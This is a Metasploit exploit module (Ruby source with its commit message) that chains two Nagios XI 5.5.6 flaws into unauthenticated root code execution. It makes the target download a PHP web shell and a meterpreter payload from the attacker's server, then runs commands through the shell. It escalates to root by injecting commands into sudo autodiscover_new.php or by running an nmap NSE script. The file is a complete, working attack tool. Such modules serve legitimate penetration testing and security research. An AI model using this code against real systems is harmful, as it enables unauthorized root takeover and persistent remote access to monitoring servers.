Files
metasploit-gs/modules/exploits/linux/http/nagios_xi_magpie_debug.rb
T
Brendan Coles e30d8db082 nagios_xi_magpie_debug: add writable paths, improvements, cleanup, fixes
Resolve Rubocop violations
Fix off-by-one in array index triggered when no file upload succeeds
Fix cleanup: ensure files are removed when upload succeeds but execution fails
Add AutoCheck
Add module notes
Add error handling and associated operator feedback
Add additional writable paths required for some old Nagios versions
Add fallback to session as `apache` if privlege escalation fails
Update documentation in line with above changes and fix software download links
2021-03-16 07:13:55 +00:00

247 lines
7.7 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Nagios XI Magpie_debug.php Root Remote Code Execution',
'Description' => %q{
This module exploits two vulnerabilities in Nagios XI <= 5.5.6:
CVE-2018-15708 which allows for unauthenticated remote code execution
and CVE-2018-15710 which allows for local privilege escalation.
When combined, these two vulnerabilities allow execution of arbitrary
commands as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Lyne (@lynerc)', # Discovery and exploit
'Guillaume André (@yaumn_)', # Metasploit module
'bcoles', # Additional writable paths and usability/reliability/cleanup fixes
],
'References' =>
[
['CVE', '2018-15708'],
['CVE', '2018-15710'],
['EDB', '46221'],
['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
['URL', 'https://www.tenable.com/security/research/tra-2018-37']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Nagios XI <= 5.5.6', { version: Gem::Version.new('5.5.6') }]
],
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
'Privileged' => true,
'DisclosureDate' => '2018-11-14',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options([
OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
])
@WRITABLE_PATHS = [
# writable as 'apache' user
['/usr/local/nagvis/share', '/nagvis'],
# writable as 'apache' user
['/var/www/html/nagiosql', '/nagiosql'],
# writable as 'nagios' group
['/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs', '/nagiosxi/includes/components/autodiscovery/jobs'],
# writable as 'nagios' group
['/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp', '/nagiosxi/includes/components/highcharts/exporting-server/temp'],
]
@writable_path_index = 0
@webshell_name = "#{Rex::Text.rand_text_alpha(10..12)}.php"
@meterpreter_name = Rex::Text.rand_text_alpha(10..12)
end
def on_request_uri(cli, _req)
if @current_payload == @webshell_name
send_response(cli, "<?php system($_GET['cmd'])?>")
else
send_response(cli, generate_payload_exe)
end
end
def primer
path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@current_payload}"
print_status("Uploading to #{path} ...")
res = magpie_debug("https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} -o '#{path}'")
unless res
print_error("Could not upload #{@current_payload} to target. No reply.")
return false
end
unless res.code == 200
print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")
return false
end
if res.body.include?('Error: MagpieRSS: Failed to fetch')
print_error("Could not upload #{@current_payload} to target. cURL failed to download the file from our server.")
return false
end
register_file_for_cleanup(path)
end
def upload_success?
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
}, 5
)
unless res
print_error("Could not access #{@current_payload}. No reply.")
return false
end
unless res.code == 200
print_error("Could not access #{@current_payload}. Unexpected reply (HTTP #{res.code}).")
return false
end
print_good("#{@current_payload} uploaded successfully!")
true
end
def magpie_debug(url = '')
send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri('/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'),
'vars_get' => {
'url' => url
}
}, 5
)
end
def check
res = magpie_debug
unless res
return CheckCode::Safe('No reply.')
end
if res.code == 200 && res.body.include?('MagpieRSS')
return CheckCode::Appears('Found MagpieRSS.')
end
CheckCode::Safe
end
def execute_command(cmd, _opts = {})
send_request_cgi(
{
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
'method' => 'GET',
'vars_get' => {
'cmd' => cmd
}
}, 5
)
end
def exploit
all_files_uploaded = false
# Upload PHP web shell and meterpreter to writable directory on target
for i in 0...@WRITABLE_PATHS.size
@writable_path_index = i
for filename in [@webshell_name, @meterpreter_name]
@current_payload = filename
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
if !upload_success?
break
elsif filename == @meterpreter_name
all_files_uploaded = true
end
end
end
if all_files_uploaded
break
end
end
unless all_files_uploaded
fail_with(Failure::NotVulnerable, 'Uploading payload failed')
end
meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"
print_status("Checking PHP web shell: #{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}")
res = execute_command('id')
unless res && res.body.include?('uid=')
fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
end
id = res.body.scan(/^(uid=.+)$/).flatten.first
if id.blank?
fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
end
print_good("Success! Commands executed as user: #{id}")
print_status('Attempting privilege escalation ...')
nse_path = "/var/tmp/#{Rex::Text.rand_text_alpha(10..12)}.nse"
register_file_for_cleanup(nse_path)
# Commands to escalate privileges, some will work and others won't
# depending on the Nagios version
cmds = [
"chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
"components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
"echo 'os.execute(\"#{meterpreter_path}\")' > #{nse_path} " \
"&& sudo nmap --script #{nse_path}"
]
# Try to launch root shell
for cmd in cmds
vprint_status("Trying: #{cmd}")
execute_command(cmd)
break if session_created?
end
unless session_created?
print_error('Privilege escalation failed')
print_status("Executing payload as #{id} ...")
execute_command("chmod +x #{meterpreter_path} && #{meterpreter_path}")
end
end
end